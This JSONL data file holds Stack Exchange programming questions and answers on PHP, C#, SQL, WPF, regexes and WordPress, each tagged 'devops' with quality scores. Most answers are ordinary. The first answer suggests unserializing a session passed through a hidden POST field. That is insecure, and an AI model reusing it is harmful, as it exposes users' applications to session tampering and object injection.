{"id": "hf_bbf915fb0034", "question": "<p>I have an application where, in the course of using the application, a user might click from</p>\n\n<pre><code>virginia.usa.com\n</code></pre>\n\n<p>to</p>\n\n<pre><code>newyork.usa.com\n</code></pre>\n\n<p>Since I'd rather not create a new session each time a user crosses from one subdomain to another, what's a good way to share session info across multiple subdomains?</p>\n", "question_body": "", "answer": "If you're using PHP, one hack would be to make a little include script (or two) to do the following:\n1 Serialize your $_SESSION array\n  2 Pass that string as a hidden input, making all your links to those buttons in separate forms using POST.\n  3 Also include a boolean hidden input to let your script know whether it needs to use the current session or unserialize $_POST['session']\n  4 Deploy this across your site, calling things where appropriate\nI wouldn't do this if there's actually a sanctioned way to transfer a session.  I hope you've at least considered using cookies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.074847"}
{"id": "hf_b62cb1fcee2e", "question": "<p>I have a web directory where I store some config files. I'd like to use wget to pull those files down and maintain their current structure. For instance, the remote directory looks like:</p>\n\n<pre><code>http://mysite.com/configs/.vim/\n</code></pre>\n\n<p>.vim holds multiple files and directories. I want to replicate that on the client using wget. Can't seem to find the right combo of wget flags to get this done. Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nwget -r http://mysite.com/configs/.vim/\n```\n```\nworks for me.\nPerhaps you have a .wgetrc which is interfering with it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.098622"}
{"id": "hf_89ede672c9f9", "question": "<p>I have a SSIS package that eventually I would like to pass parameters too, these parameters will come from a .NET application (VB or C#) so I was curious if anyone knows of how to do this, or better yet a website with helpful hints on how to do it. </p>\n\n<p>So basically I want to execute a SSIS package from .NET passing the SSIS package parameters that it can use within it.  </p>\n\n<p>For instance, the SSIS package will use flat file importing into a SQL db however the Path and name of the file could be the parameter that is passed from the .Net application.</p>\n", "question_body": "", "answer": "Here is how to set variables in the package from code -\n```\n```\nusing Microsoft.SqlServer.Dts.Runtime;\n\nprivate void Execute_Package()\n    {           \n        string pkgLocation = @\"c:\\test.dtsx\";\n\n        Package pkg;\n        Application app;\n        DTSExecResult pkgResults;\n        Variables vars;\n\n        app = new Application();\n        pkg = app.LoadPackage(pkgLocation, null);\n\n        vars = pkg.Variables;\n        vars[\"A_Variable\"].Value = \"Some value\";               \n\n        pkgResults = pkg.Execute(null, vars, null, null, null);\n\n        if (pkgResults == DTSExecResult.Success)\n            Console.WriteLine(\"Package ran successfully\");\n        else\n            Console.WriteLine(\"Package failed\");\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.122389"}
{"id": "hf_ab47ef65db5c", "question": "<p>Similar to <a href=\"https://stackoverflow.com/questions/85978/query-a-tables-foreign-key-relationships\">this question</a> but for MySQL....</p>\n\n<p>How can I programmatically determine foreign key references in MySQL (assuming InnoDB)?  I can almost get them with:</p>\n\n<pre><code>SHOW TABLE STATUS WHERE Name = 'MyTableName';\n</code></pre>\n\n<p>...but alas, the comment column which seems to contain some of this info gets truncated so I can't rely on it.  There must be some other way...</p>\n\n<p>I'd be happy with a C API call, a SQL statement, anything--I just need something that consistently works.</p>\n\n<p>Note:  I've also considered parsing the results of a \"SHOW CREATE TABLE MyTableName\" statement, but I'm really hoping there's something simpler.</p>\n", "question_body": "", "answer": "Try\n```\nINFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.158289"}
{"id": "hf_31d1f9cded84", "question": "<p>I have a bunch of controls on my window.  One of them is a refresh button that performs a cumbersome task on a background thread.</p>\n\n<p>When the user clicks the refresh button, I put the cursor in a wait (hourglass) status and disable the whole window -- <code>Me.IsEnabled = False</code>.</p>\n\n<p>I'd like to support cancellation of the refresh action by letting the user click a cancel button, but I can't facilitate this while the whole window is disabled.</p>\n\n<p>Is there a way to do this besides disabling each control (except for the cancel button) one by one and then re-enabling them one by one when the user clicks cancel?</p>\n", "question_body": "", "answer": "You can data bind each controls IsEnabled property to your custom boolean dependency property that signals when your application is in lock down.  Just don't bind the cancel button.\nAs  Donnelle mentioned You can setup multi binding with a converter. Here are a couple examples you can refer to.\nWPF MultiBinding with Converter\nImplementing Parameterized MultiBinding Sample", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.205103"}
{"id": "hf_aafbc2a9683b", "question": "<p>I am developing a HTML form designer that needs to generate static HTML and show this to the user. I keep writing ugly code like this:</p>\n\n<pre><code>public string GetCheckboxHtml()\n{\n    return (\"&amp;lt;input type=\"checkbox\" name=\"somename\" /&amp;gt;\");\n}\n</code></pre>\n\n<p>Isn't there a set of strongly typed classes that describe html elements and allow me to write code like this instead:</p>\n\n<pre><code>var checkbox = new HtmlCheckbox(attributes);\nreturn checkbox.Html();\n</code></pre>\n\n<p>I just can't think of the correct namespace to look for this or the correct search term to use in Google.</p>\n", "question_body": "", "answer": "One option is to use\nXElement\nfunctional construction\n. See\nthis blog post\nfor an example calendar generator.\nIn your case, your Html could be generated with:\n```\n```\nvar input = new XElement(\"input\",\n    new XAttribute(\"type\", \"checkbox\"),\n    new XAttribute(\"name\", \"somename\"));\n\nreturn input.ToString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.267653"}
{"id": "hf_a01a0fe7abc2", "question": "<p>The topic generically says it all. Basically in a situation like this:</p>\n\n<pre><code>boost::scoped_array&lt;int&gt; p(new int[10]);\n</code></pre>\n\n<p>Is there any appreciable difference in performance between doing: <code>&amp;p[0]</code> and <code>p.get()</code>?</p>\n\n<p>I ask because I prefer the first one, it has a more natural pointer like syntax. In fact, it makes it so you could replace p with a native pointer or array and not have to change anything else.</p>\n\n<p>I am guessing since get is a one liner \"<code>return ptr;</code>\" that the compiler will inline that, and I hope that it is smart enough to to inline <code>operator[]</code> in such a way that it is able to not dereference and then immediately reference.</p>\n\n<p>Anyone know?</p>\n", "question_body": "", "answer": "The only way to know is to actually measure it!\nBut if you have the source of the boost:scoped_array you could llok at the code and see what it does. I am sure it is pretty similar.\n```\n```\nT * scoped_array::get() const // never throws\n{\n    return ptr;\n}\n\nT & scoped_array::operator[](std::ptrdiff_t i) const // never throws\n{\n    BOOST_ASSERT(ptr != 0);\n    BOOST_ASSERT(i >= 0);\n    return ptr[i];\n}\n```\n```\nWrite two versions of the code (one using get() the other using operator[]). Compile to assembley with optimizations turned on. See if your compiler actually manages to optimize away the ptr+0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.303927"}
{"id": "hf_390a582dcbd0", "question": "<p>Currently it's a big PITA to create timesheet report for say a week or month in FogBugz... maybe someone knows about a plugin to that for you?</p>\n", "question_body": "", "answer": "If you have FogBugz hosted on your own server, you can query the database manually and get timesheet results that way. If its hosted by FogBugz, then you can download the database, do the same query, or, use the API to get all the time entries. Some programs already exists for that, one of them is TimeSprite, but its not free.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.327987"}
{"id": "hf_a10b715b9d4c", "question": "<p>I have two forms in microsoft access, one called Bill and the other one called Payment. They both have Total amount as a field in both of the forms. I am trying to reference the Bill total amount to the Payment total amount. </p>\n\n<p>I have tried in the Payment total amount control source : =Forms!Bill![Total Amount]</p>\n\n<p>but this doesnt seem to work. In Design view it says '#Name?' in the text box. </p>\n\n<p>How would you do this? </p>\n", "question_body": "", "answer": "Is either of the forms a subform? If so, you need to reference the subform control or the parent property:\n```\n```\nMe.Parent.[Total order]\nMe.[Subform Control name Here].form.[Total order]\n```\n```\nNote that the Subform Control name  is not always the same as the form contained.\nEDIT: Either omit Me or use Form!FormName in a control.\nEDIT2: Please note that the usual way of referencing forms, subform and controls is with either bang (!) or dot (.). parentheses and quotes are rarely used. This can be seen in both the Microsoft Access MVPs site (\nhttp://www.mvps.org/access/forms/frm0031.htm\n) and Microsoft's own site (\nhttp://support.microsoft.com/kb/209099\n), as mentioned by Knox.\nIf not, have you tried the Expression builder? It will help ensure that you have the correct names.\nAs an aside, it is best to avoid spaces in the names of fields and controls, it will save you a good deal of work. It is also best to rename controls so they do not have the same name as the fields they contain, txtOrderTotal, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.351785"}
{"id": "hf_cff7ac2ec245", "question": "<p>I want to send a message to a thread and handle it in the thread. How can I do this in Delphi? I guess <code>PostMessage</code> is the way to go, but the examples I've seen so far are describing the other way, i.e. from the thread to main thread.</p>\n", "question_body": "", "answer": "I won't even try and explain or write any code. Just look at this tutorial. It's a little old, but very good imho.\nMultithreading - The Delphi Way", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.443431"}
{"id": "hf_6e8173966c56", "question": "<p>I am trying to write a function that will pull the name of a property and the type using syntax like below:</p>\n\n<pre><code>private class SomeClass\n{\n    Public string Col1;\n}\n\nPropertyMapper&lt;Somewhere&gt; propertyMapper = new PropertyMapper&lt;Somewhere&gt;();\npropertyMapper.MapProperty(x =&gt; x.Col1)\n</code></pre>\n\n<p>Is there any way to pass the property through to the function without any major changes to this syntax?</p>\n\n<p>I would like to get the property name and the property type.</p>\n\n<p>So in the example below i would want to retrieve </p>\n\n<p><code>Name = \"Col1\"</code> and <code>Type = \"System.String\"</code></p>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "Here's enough of an example of using\nExpressions\nto get the name of a property or field to get you started:\n```\n```\npublic static MemberInfo GetMemberInfo<T, U>(Expression<Func<T, U>> expression)\n{\n    var member = expression.Body as MemberExpression;\n    if (member != null)\n        return member.Member;\n\n    throw new ArgumentException(\"Expression is not a member access\", \"expression\");\n}\n```\n```\nCalling code would look like this:\n```\n```\npublic class Program\n{\n    public string Name\n    {\n        get { return \"My Program\"; }\n    }\n\n    static void Main()\n    {\n        MemberInfo member = ReflectionUtility.GetMemberInfo((Program p) => p.Name);\n        Console.WriteLine(member.Name);\n    }\n}\n```\n```\nA word of caution, though: the simple statment of\n```\n(Program p) => p.Name\n```\nactually involves quite a bit of work (and can take measurable amounts of time). Consider caching the result rather than calling the method frequently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.468661"}
{"id": "hf_a61e0932ccc5", "question": "<p>Is there an obvious way to do this that I'm missing?  I'm just trying to make thumbnails.</p>\n", "question_body": "", "answer": "Define a maximum size.\nThen, compute a resize ratio by taking\n```\nmin(maxwidth/width, maxheight/height)\n```\n.\nThe proper size is\n```\noldsize*ratio\n```\n.\nThere is of course also a library method to do this: the method\n```\nImage.thumbnail\n```\n.\nBelow is an (edited) example from the\nPIL documentation\n.\n```\n```\nimport os, sys\nimport Image\n\nsize = 128, 128\n\nfor infile in sys.argv[1:]:\n    outfile = os.path.splitext(infile)[0] + \".thumbnail\"\n    if infile != outfile:\n        try:\n            im = Image.open(infile)\n            im.thumbnail(size, Image.Resampling.LANCZOS)\n            im.save(outfile, \"JPEG\")\n        except IOError:\n            print \"cannot create thumbnail for '%s'\" % infile\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.517991"}
{"id": "hf_527e11e22737", "question": "<p>For some reason I'm not getting this. (Example model below) If I write: </p>\n\n<pre><code>var property = typeof(sedan).GetProperty(\"TurningRadius\");\nAttribute.GetCustomAttributes(property,typeof(MyAttribute), false)\n</code></pre>\n\n<p>the call will return MyAttribute(2) despite indicating I don't want to search the inheritance chain. Does anyone know what code I can write so that calling</p>\n\n<pre><code>MagicAttributeSearcher(typeof(Sedan).GetProperty(\"TurningRadius\"))\n</code></pre>\n\n<p>returns nothing while calling</p>\n\n<pre><code>MagicAttributeSearcher(typeof(Vehicle).GetProperty(\"TurningRadius\"))\n</code></pre>\n\n<p>returns MyAttribute(1)?</p>\n\n<hr>\n\n<p>Example Model:</p>\n\n<pre><code>public class Sedan : Car\n{\n    // ...\n}\n\npublic class Car : Vehicle\n{\n    [MyAttribute(2)]\n    public override int TurningRadius { get; set; }\n}\n\npublic abstract class Vehicle\n{\n    [MyAttribute(1)]\n    public virtual int TurningRadius { get; set; }\n}\n</code></pre>\n", "question_body": "", "answer": "I think this is what you're after - note that I had to make TurningRadius abstract in Vehicle and overridden in Car. Is that okay?\n```\n```\nusing System;\nusing System.Reflection;\n\npublic class MyAttribute : Attribute\n{\n    public MyAttribute(int x) {}\n}\n\npublic class Sedan : Car\n{\n    // ...\n}\n\npublic class Car : Vehicle\n{\n    public override int TurningRadius { get; set; }\n}\n\npublic abstract class Vehicle\n{\n    [MyAttribute(1)]\n    public virtual int TurningRadius { get; set; }\n}\n\nclass Program\n{\n    static void Main(string[] args)\n    {\n        MagicAttributeSearcher(typeof(Sedan));\n        MagicAttributeSearcher(typeof(Vehicle));\n    }\n\n    static void MagicAttributeSearcher(Type type)\n    {\n        PropertyInfo prop = type.GetProperty(\"TurningRadius\");\n        var attr = Attribute.GetCustomAttribute(prop, typeof(MyAttribute), false);\n        Console.WriteLine(\"{0}: {1}\", type, attr);\n    }\n}\n```\n```\nOutput:\n```\n```\nSedan:\nVehicle: MyAttribute\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.542521"}
{"id": "hf_3d4c96e59349", "question": "<p>I'm having a little bit of trouble making a sticky form that will remember what is entered in it on form submission if the value has double quotes. The problem is that the HTML is supposed to read something like:</p>\n\n<pre><code>&lt;input type=\"text\" name=\"something\" value=\"Whatever value you entered\" /&gt;\n</code></pre>\n\n<p>However, if the phrase: \"How do I do this?\" is typed in with quotes, the resulting HTML is similar to:</p>\n\n<pre><code>&lt;input type=\"text\" this?=\"\" do=\"\" i=\"\" how=\"\" value=\"\" name=\"something\"/&gt;\n</code></pre>\n\n<p>How would I have to filter the double quotes? I've tried it with magic quotes on and off, I've used stripslashes and addslashes, but so far I haven't come across the right solution. What's the best way to get around this problem for PHP?</p>\n", "question_body": "", "answer": "You want\nhtmlentities()\n.\n```\n<input type=\"text\" value=\"<?php echo htmlentities($myValue); ?>\">\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.579735"}
{"id": "hf_70a801c984f2", "question": "<p>Right now we've got web pages that show UI elements, and web pages that just process form submissions, and then redirect back to the UI pages.  They do this using PHP's header() function:</p>\n\n<pre><code>header(\"Location: /other_page.php\");\n</code></pre>\n\n<p>This causes a 302 Found response to be sent; according to the HTTP 1.1 spec, 302 is for cases where \"The requested resource resides temporarily under a different URI.\" <a href=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.3\" rel=\"nofollow noreferrer\">[HTTP 1.1 spec]</a></p>\n\n<p>Functionally, this is fine, but it doens't seem like this is the proper status code for what we're doing.  It looks like 303 (\"See Other\") is the appropriate status here, so I'm wondering if there's any reason not to use it.  We'd have to be more explicit in our use of header(), since we'd have to specify that status line rather than just a Location: field.  Thoughts?</p>\n", "question_body": "", "answer": "I've never used it myself... as it says in your link:\nNote: Many pre-HTTP/1.1 user agents do\n  not understand the 303\n        status. When interoperability with such clients is a concern, the\n        302 status code may be used instead, since most user agents react\n        to a 302 response as described here for 303.\nThis seems a good enough reason to me to stick with 302.\nFYI\nheader()\ntakes extra parameters in which you can set the status code:\n```\nheader('Location: /foo.php', true, 303);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.603886"}
{"id": "hf_e719f1b21555", "question": "<p>How does one prevent an inclusion cycle in C? ie. You shouldn't have a.h #include \"b.h\", which #include's \"c.h\" which #include's \"a.h\". I'm looking for a way of preventing this from happening using some sort of C directive.</p>\n\n<p>I had originally thought this would've prevented this from happening:</p>\n\n<p>Contents of a.h:</p>\n\n<pre><code>#ifndef __A_H\n#define __A_H\n\n#include \"b.h\"\n\n#endif // __A_H\n</code></pre>\n\n<p>Contents of b.h:</p>\n\n<pre><code>#ifndef __B_H\n#define __B_H\n\n#include \"c.h\"\n\n#endif // __B_H\n</code></pre>\n\n<p>Contents of c.h:</p>\n\n<pre><code>#ifndef __C_H\n#define __C_H\n\n#include \"a.h\"\n\n#endif // __C_H\n</code></pre>\n\n<p>But it doesn't seem to work.</p>\n", "question_body": "", "answer": "It does work allright: the files\nare\nrepeatedly included, but the sections protected by #ifdndef/#define/#endif\nare not\nrepeated, and that breaks the cycle.\nUse your compiler to produce the preprocessed output and look at it for yourself.  With GNU CC, you need to use \"-E\" option on the .c[pp] file, like this:\n```\n```\ngcc -E $(CFLAGS) -o foo.i foo.cpp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.639990"}
{"id": "hf_92f318e9b686", "question": "<p>I would like to know if there is software that, given a regex and of course some other constraints like length, produces random text that always matches the given regex.\nThanks</p>\n", "question_body": "", "answer": "Instead of starting from a regexp, you should be looking into writing a small context free grammer, this will allow you to easily generate such random text. Unfortunately, I know of no tool which will do it directly for you, so you would need to do a bit of code yourself to actually generate the text. If you have not worked with grammers before, I suggest you read a bit about bnf format and \"compiler compilers\" before proceeding...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.679226"}
{"id": "hf_f6aa2cde3e9d", "question": "<p>I very rarely meet any other programmers!</p>\n\n<p>My thought when I first saw the token was \"implies that\" since that's what it would read it as in a mathematical proof but that clearly isn't its sense.</p>\n\n<p>So how do I say or read \"=>\" as in:-</p>\n\n<pre><code>IEnumerable&lt;Person&gt; Adults = people.Where(p =&gt; p.Age &gt; 16)\n</code></pre>\n\n<p>Or is there even an agreed way of saying it?</p>\n", "question_body": "", "answer": "I usually say 'such that' when reading that operator.\nIn your example, p => p.Age > 16 reads as \"P, such that p.Age is greater than 16.\"\nIn fact, I asked this very question on the official linq pre-release forums, and Anders Hejlsberg responded by saying\nI usually read the => operator as \"becomes\" or \"for which\". For example,\nFunc f = x => x * 2;\nFunc test = c => c.City == \"London\";\nreads as \"x becomes x * 2\" and \"c for which c.City equals London\"\nAs far as 'goes to' - that's never made sense to me. 'p' isn't going anywhere.\nIn the case of reading code to someone, say, over the phone, then as long as they're a fellow C# programmer, I'd just use the word 'lambda' - that is, \"p lambda p dot age greater-than sixteen.\"\nIn comments Steve Jessop mentioned 'maps to' in the case of transformations - so taking Anders' example:\n```\n```\nx => x * 2;\n```\n```\nwould read\nx maps to x times 2.\nThat does seem much closer to the actual intention of the code than 'becomes' for this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.702748"}
{"id": "hf_b035e7876abc", "question": "<p>I'm increasingly becoming aware that there must be major differences in the ways that regular expressions will be interpreted by browsers.<br />\nAs an example, a co-worker had written this regular expression, to validate that a file being uploaded would have a PDF extension:</p>\n\n<pre><code>^(([a-zA-Z]:)|(\\\\{2}\\w+)\\$?)(\\\\(\\w[\\w].*))(.pdf)$\n</code></pre>\n\n<p>This works in Internet Explorer, and in Google Chrome, but does NOT work in Firefox.  The test always fails, even for an actual PDF.  So I decided that the extra stuff was irrelevant and simplified it to:</p>\n\n<pre><code>^.+\\.pdf$\n</code></pre>\n\n<p>and now it works fine in Firefox, as well as continuing to work in IE and Chrome.<br />\nIs this a quirk specific to asp:FileUpload and RegularExpressionValidator controls in ASP.NET, or is it simply due to different browsers supporting regex in different ways?  Either way, what are some of the latter that you've encountered?</p>\n", "question_body": "", "answer": "If you're using javascript, not enclosing the regex with slashes causes error in Firefox.\nTry doing\n```\nvar regex = /^(([a-zA-Z]:)|(\\\\{2}\\w+)\\$?)(\\\\(\\w[\\w].*))(.pdf)$/;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.727162"}
{"id": "hf_27cdfc0dbf72", "question": "<p>Wordpress provides a function called \"the_permalink()\" that returns, you guessed it!, the permalink to a given post while in a loop of posts.</p>\n\n<p>I am trying to URL encode that permalink and when I execute this code:</p>\n\n<pre><code>&lt;?php\nprint(the_permalink());\n$permalink = the_permalink();\nprint($permalink);\nprint(urlencode(the_permalink()));\nprint(urlencode($permalink));\n$url = 'http://wpmu.local/graphjam/2008/11/06/test4/';\nprint($url);\nprint(urlencode($url));\n?&gt;\n</code></pre>\n\n<p>it produces these results in HTML:</p>\n\n<pre><code>http://wpmu.local/graphjam/2008/11/06/test4/\nhttp://wpmu.local/graphjam/2008/11/06/test4/\nhttp://wpmu.local/graphjam/2008/11/06/test4/\nhttp://wpmu.local/graphjam/2008/11/06/test4/\nhttp%3A%2F%2Fwpmu.local%2Fgraphjam%2F2008%2F11%2F06%2Ftest4%2F\n</code></pre>\n\n<p>I would expect lines 2, 3 and 5 of the output to be URL encoded, but only line 5 is so.  Thoughts?</p>\n", "question_body": "", "answer": "According to the docs,\n```\nthe_permalink\n```\nprints the permalink vs returns it. So,\n```\nurlencode\n```\nisn't getting anything to encode.\nTry\n```\nget_permalink\n```\n.\n[\nEDIT\n]\nA little late for an edit, but I didn't realize the print counts were such an issue.\nHere's where they're all coming from:\n```\n```\n<?php\nprint(the_permalink());                                // prints (1)\n$permalink = the_permalink();                          // prints (2)\nprint($permalink);                                     // nothing\nprint(urlencode(the_permalink()));                     // prints (3)\nprint(urlencode($permalink));                          // nothing\n$url = 'http://wpmu.local/graphjam/2008/11/06/test4/'; \nprint($url);                                           // prints (4)\nprint(urlencode($url));                                // prints (5)\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.872841"}
{"id": "hf_3186e1eda0aa", "question": "<p>I'm looking for some image library that can work with multiple formats (jpg,gif,png), and is fast at displaying the images to the screen.</p>\n\n<p>Also, it would be nice if I could specify only part of the image to render to the screen.</p>\n\n<p>In the end I want to have lots of images on the screen that I can pan and zoom about.</p>\n\n<p>This is for a personal project on my ppc powerbook, and I'd prefer if the library be in c++.</p>\n", "question_body": "", "answer": "FreeImage.\nThat's for loading.\nFor displaying, you can either use the FreeImage methods to make a bitmap that you can then display in some control (depending on your UI).\nFor the real hotness in display, you'll then want to use\nOpenGL\n.\nAlso, in the meantime, I've discovered\nCImg\n, which isn't a library so much as a framework for doing lots of common imaging applications and works in C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.960415"}
{"id": "hf_95fdaa99ef33", "question": "<p>I can't for the life of me find a way to make this work.</p>\n\n<p>If I have 3 divs (a left sidebar, a main body, and a footer), how can I have the sidebar and main body sit next to each other without setting their positions as \"absolute\" or floating them? Doing either of these options result in the footer div not being pushed down by one or the other.</p>\n\n<p>How might I accomplish this regardless of what comes before these elements (say another header div or something)?</p>\n\n<p>In case it helps, here's an illustration of the two cases I'm trying to allow for:</p>\n\n<p><img src=\"https://i.stack.imgur.com/zjEzC.jpg\" alt=\"alt text\"></p>\n\n<p>Here's a simplified version of the HTML I currently have set up:</p>\n\n<pre><code>&lt;div id=\"sidebar\"&gt;&lt;/div&gt;\n&lt;div id=\"content\"&gt;&lt;/div&gt;\n&lt;div id=\"footer\"&gt;&lt;/div&gt;\n</code></pre>\n", "question_body": "", "answer": "You need to specify the footer to clear the float:\n```\n```\n#footer{\n clear: both;\n}\n```\n```\nThis forces it under floated elements.\nOther options for clear are left and right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.021061"}
{"id": "hf_de545f5b74b3", "question": "<p>Is it acceptable to submit from an http form through https?  It seems like it should be secure, but it allows for a man in the middle attack (<a href=\"http://ask.metafilter.com/48531/are-http-forms-posted-thru-https-secure\" rel=\"noreferrer\">here is a good discussion</a>).  There are sites like <a href=\"http://www.mint.com\" rel=\"noreferrer\">mint.com</a> that allow you to sign-in from an http page but does an https post.  In my site, the request is to have an http landing page but be able to login securely.  Is it not worth the possible security risk and should I just make all users go to a secure page to login (or make the landing page secure)?</p>\n", "question_body": "", "answer": "Posting a form from an http page to an https page does encrypt the data in the form when it is transmitted in the most simple terms. If there is a man-in-the-middle attack, the browser will warn you.\nHowever, if the original http form was subjected to man-in-the-middle and the https post-back address was modified by the attacker, then you will get no warning. The data will still actually be encrypted, but the man-in-the-middle attacker would be able to decrypt (since he sent you the key in the first place) and read the data.\nAlso, if the form is sending things back through other means (scripted connections) there may be a possibility of unencrypted data being sent over the wire before the form is posted (although any good website would never do this with any kind of sensitive data).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.045911"}
{"id": "hf_5da163b4a995", "question": "<p>Does anyone know of an already implemented money type for the .NET framework that supports i18n (currencies, formatting, etc)? I have been looking for a well implemented type and can't seem to find one.</p>\n", "question_body": "", "answer": "I think you want to use the decimal data type, and use the appropriate overload for\nToString()\n.\n```\n```\nCultureInfo current  = CultureInfo.CurrentCulture;\ndecimal myMoney = 99.99m;\n\n//formats as money in current culture, like $99.99\nstring formattedMoney = myMoney.ToString(\"C\", current);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.099780"}
